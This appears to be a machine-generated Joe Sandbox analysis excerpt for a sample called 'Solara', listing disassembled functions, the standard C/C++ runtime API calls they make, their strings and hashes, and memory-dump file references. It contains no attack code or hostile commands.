Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a43189216d846be34f33d411ab8c537fb9dabcb3e2128ef3ec117913cb017b
Instruction ID: a52357d37ccc8a9f362264ad3fd8f3e85849899b52d0f9cd9193d72c69bae1d3
Opcode Fuzzy Hash: 86a43189216d846be34f33d411ab8c537fb9dabcb3e2128ef3ec117913cb017b
Instruction Fuzzy Hash: 16B1F570E24A79BFDB01DFE8E844BADBBB4BF55300F148259E90497291C7B19961CFA0

Function 00209B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00209C97
std::_Throw_Cpp_error.LIBCPMT ref: 00209CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00209CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00209CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00209CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00209D06

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 44d4f58e2cd27037f9ded942be57fa3834a00201aba75a7f43d3aaae74453a63
Instruction ID: 6c09b857233c83cbfe0d8fd91e125b4bce893853a3c955604012bf52456b0e8e
Opcode Fuzzy Hash: 44d4f58e2cd27037f9ded942be57fa3834a00201aba75a7f43d3aaae74453a63
Instruction Fuzzy Hash: 5B41C2B1D10745CBEB309F6089457AFB7F4AF49324F18062EE56B162D3D37169A0CB52

Function 0021ACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0021ACDE,00210760,0020B77F,75E5C5C8,?,?,?,?,0022BFCA,000000FF), ref: 0021ACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0021AD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0021AD1C
SetLastError.KERNEL32(00000000,?,0021ACDE,00210760,0020B77F,75E5C5C8,?,?,?,?,0022BFCA,000000FF), ref: 0021AD6E

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 058aafdbfad83f52e8ac6830d7d70f522a14ec3647e5f00a76fed8458358112c
Instruction ID: 6f9a10b96b75e99205b4bb38858fed242ffb7e8d8b82cf90685647df49911446
Opcode Fuzzy Hash: 058aafdbfad83f52e8ac6830d7d70f522a14ec3647e5f00a76fed8458358112c
Instruction Fuzzy Hash: A901DD32237A176DE7251EB87C4E9A626C4E711B75720032BF610559F0EF518CA65981

Function 0021B56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0021B68D
CallUnexpected.LIBVCRUNTIME ref: 0021B906

Strings

csm, xrefs: 0021B5AB
csm, xrefs: 0021B6C4
csm, xrefs: 0021B618

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: baf653ac6bfd639bb7b615c887e95608f98e912654996fdb24e9e73ee00de4d2
Instruction ID: 91b7205d6d4ba6f12f2544846b736faf77cc5e549de92869023f1033278a1f91
Opcode Fuzzy Hash: baf653ac6bfd639bb7b615c887e95608f98e912654996fdb24e9e73ee00de4d2
Instruction Fuzzy Hash: 71B1697182020AEFCF16DFA4C8819EEB7F9AF64310F15455AE811AB212D731DAB1CF91

Function 0020BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0020BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0020C028

Strings

MOC, xrefs: 0020BE9F
RCC, xrefs: 0020BEAB
csm, xrefs: 0020BEB7

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 643972baeb3f084c9f8aea891450300414d26d2e44fc84dd805bc40695bdfa5d
Instruction ID: f073652bef62ecf06793c98262a9b8d722c88c4d01cdcd938c0b5189ba7f9f0a
Opcode Fuzzy Hash: 643972baeb3f084c9f8aea891450300414d26d2e44fc84dd805bc40695bdfa5d
Instruction Fuzzy Hash: 6B41CB70910306DFCF3ADF28C8499ADB7B5AF18300F58806DE449A7A93C734AA60CF51

Function 002155C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,75E5C5C8,?,?,00000000,0022BE94,000000FF,?,00215685,00000002,?,00215721,00218396), ref: 002155F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0021560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0022BE94,000000FF,?,00215685,00000002,?,00215721,00218396), ref: 0021562D

Strings

CorExitProcess, xrefs: 00215603
mscoree.dll, xrefs: 002155F2

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eecc62935e6a061e89d485c53a05ba0ef9d187139d393a87ca8557f25b9a7c78
Instruction ID: bca9af060ec553f54d988b251719f070f6e3765a1ad699e54fd17e0787db9282
Opcode Fuzzy Hash: eecc62935e6a061e89d485c53a05ba0ef9d187139d393a87ca8557f25b9a7c78
Instruction Fuzzy Hash: B901D671A10A69FFCB118F80EC0DBEEB7FCFB45B15F004926F811A2290DB749950CA90

Function 0021D6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0021D76F
__alloca_probe_16.LIBCMT ref: 0021D838
__freea.LIBCMT ref: 0021D89F

Part of subcall function 0021BF11: RtlAllocateHeap.NTDLL(00000000,0021DF35,?,?,0021DF35,00000220,?,00000000,?), ref: 0021BF43

__freea.LIBCMT ref: 0021D8B2
__freea.LIBCMT ref: 0021D8BF

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 9f61c0fa2ea2d87477de42d47cf52f4101b36eb9677b8d9aa9731eb09c270b3a
Instruction ID: c1e3ef8d69ebac00a9042a03474270fe4ed3aee1fa61d3d2c2f81492c3794b00
Opcode Fuzzy Hash: 9f61c0fa2ea2d87477de42d47cf52f4101b36eb9677b8d9aa9731eb09c270b3a
Instruction Fuzzy Hash: F2518372620206EFEB315F61DC81EFB76E9EF64710B160129FD04D6251E770DCB29AA0

Function 0020EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0020F005
AcquireSRWLockExclusive.KERNEL32(00208E38), ref: 0020F024
AcquireSRWLockExclusive.KERNEL32(00208E38,0020A2F0,?), ref: 0020F052
TryAcquireSRWLockExclusive.KERNEL32(00208E38,0020A2F0,?), ref: 0020F0AD
TryAcquireSRWLockExclusive.KERNEL32(00208E38,0020A2F0,?), ref: 0020F0C4

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 8ef4c298b2b527953ad9dcfdf5a3abd76ee9e34f257ed26a4b19ecbd511c38a6
Instruction ID: 9b45573cd7f250cf696eada606fbaa82da71b0856acbc0b51826c91dbe80b076
Opcode Fuzzy Hash: 8ef4c298b2b527953ad9dcfdf5a3abd76ee9e34f257ed26a4b19ecbd511c38a6
Instruction Fuzzy Hash: EF4158316A070ADBCB70CF64C68496AB3BAFF04310B10493AE446D7D87E770E9A5CB51

Function 0020D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0020D4D3
int.LIBCPMT ref: 0020D4EA

Part of subcall function 0020C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0020C1F6
Part of subcall function 0020C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0020C210

codecvt.LIBCPMT ref: 0020D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0020D544

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 3af03408a02d9f1d05efdfda6de35e73724102a56b2a33c0ad9164f8f05249bd
Instruction ID: 8138ca5cc6a6b4df97914b4a5285effe1490a4150fcfaba84754b75c7e144869
Opcode Fuzzy Hash: 3af03408a02d9f1d05efdfda6de35e73724102a56b2a33c0ad9164f8f05249bd
Instruction Fuzzy Hash: CD01C4759203159FCB01EBA8D915AAE7BB5AF84328F640109E815AB2D3CF749E20CF81

Function 0020ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0020ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0020AE57

Part of subcall function 0020ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0020ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0020AE04
_Yarn.LIBCPMT ref: 0020AE1A

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 620fa9040b9276567011bfa0be59fe310eeded834746d456510fca4fb7c6b391
Instruction ID: 5d9112af1b8ab3ec4d0027768f2bafe854ebe4d263dea1682f2eae7adb55a4ee
Opcode Fuzzy Hash: 620fa9040b9276567011bfa0be59fe310eeded834746d456510fca4fb7c6b391
Instruction Fuzzy Hash: FF017C75A203219BCB06EF20E95957D77B5FF88750B55401AE802673D2CF386E62CF82

Function 00220976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00215BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00220A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00215BD5,?,?,?,00000055,?,-00000050,?,?), ref: 00220A6C

Strings

utf8, xrefs: 00220B3E
,K#, xrefs: 002209E9

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,K#$utf8
API String ID: 943130320-741511986
Opcode ID: 0aade5d4384f6ce4503c640072077643f18d119c76aa9185421d5cd31a61ad50
Instruction ID: 27e3a5af6819df70223d169ce9756e7dacf2433cf502ab56e3f0ede293eb8cec
Opcode Fuzzy Hash: 0aade5d4384f6ce4503c640072077643f18d119c76aa9185421d5cd31a61ad50
Instruction Fuzzy Hash: 51510931660326BAD734AFF1ACC1FAA73A8EF15708F140415F64597583E670EDA08BA5

Function 002073E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00207526
___std_exception_copy.LIBVCRUNTIME ref: 00207561

Part of subcall function 0020AF37: CreateThreadpoolWork.KERNEL32(0020B060,00208A2A,00000000), ref: 0020AF46
Part of subcall function 0020AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0020AF53

Strings

G.#, xrefs: 00207551
Fail to schedule the chore!, xrefs: 00207560

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.#
API String ID: 3683891980-2059570399
Opcode ID: bf9c8dbd9e65196359de20b87882dbf7158e78327067e2f0dcad0985ddc0ef25
Instruction ID: 493fcf0de77eaeab6c1758622b5943bb18d10563ff71158978a76ac0c896fd17
Opcode Fuzzy Hash: bf9c8dbd9e65196359de20b87882dbf7158e78327067e2f0dcad0985ddc0ef25
Instruction Fuzzy Hash: 93519CB1D103199FCB00DF94E849BAEBBB4FF08314F144129E8196B392D776A925CF91

Function 00203E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00203EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00204002

Part of subcall function 0020ABC5: _Yarn.LIBCPMT ref: 0020ABE5
Part of subcall function 0020ABC5: _Yarn.LIBCPMT ref: 0020AC09

Strings

bad locale name, xrefs: 00203F46
|= e.#, xrefs: 00203E9B, 00203F1F

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|= e.#
API String ID: 2070049627-665319736
Opcode ID: ec91632212b6d3818b4325b9047bf582589df7b4df23961cd43c7a653a1b4bed
Instruction ID: ae264520061c2b4a7a896aa5205b0e3b7210e73b1c667fa8627481c9a62acc35
Opcode Fuzzy Hash: ec91632212b6d3818b4325b9047bf582589df7b4df23961cd43c7a653a1b4bed
Instruction Fuzzy Hash: C241A1F0A107469BEB10DF69C819B57BBF8BF04714F044229E40997B81E37AE568CBE1

Function 0020B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0020B809

Strings

csm, xrefs: 0020B7A1
RCC, xrefs: 0020B795
MOC, xrefs: 0020B789

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 393ce3586057cb113479fc6e71392466c747ee493bbb858658075db6c8fee62a
Instruction ID: 1860e45d34eb0c3a1ef8ab83d7ca2ad9be6ee4e8b28ca59ea8234de0b26b5407
Opcode Fuzzy Hash: 393ce3586057cb113479fc6e71392466c747ee493bbb858658075db6c8fee62a
Instruction Fuzzy Hash: 5221F532920706DFDF369F54C855A79B3ACEF40720F14851EE411876E2DB38AEA1CE80

Function 0020F11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0020253A,?,?,00000000), ref: 0020F129
GetExitCodeThread.KERNEL32(?,00000000,?,?,0020253A,?,?,00000000), ref: 0020F142
CloseHandle.KERNEL32(?,?,?,0020253A,?,?,00000000), ref: 0020F154

Strings

:% , xrefs: 0020F134

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%
API String ID: 2551024706-86002043
Opcode ID: 1ec7ce4c30050453981ade5a1dbf435740d08307aef0bb95f76d09a220bfdd6a
Instruction ID: b348fc3a6310e5d0119820c476a28190679a889c634ced3a10dc1ea1668e4b3b
Opcode Fuzzy Hash: 1ec7ce4c30050453981ade5a1dbf435740d08307aef0bb95f76d09a220bfdd6a
Instruction Fuzzy Hash: CDF08231694219FFDF218F24ED0DB9A7B68EB01B70F244720F825EA1E0E731DE518680

Function 0020ABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 0020ABE5
_Yarn.LIBCPMT ref: 0020AC09

Strings

e.#, xrefs: 0020ABD9
|= e.#, xrefs: 0020ABC8

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Yarn
String ID: e.#$|= e.#
API String ID: 1767336200-2959337839
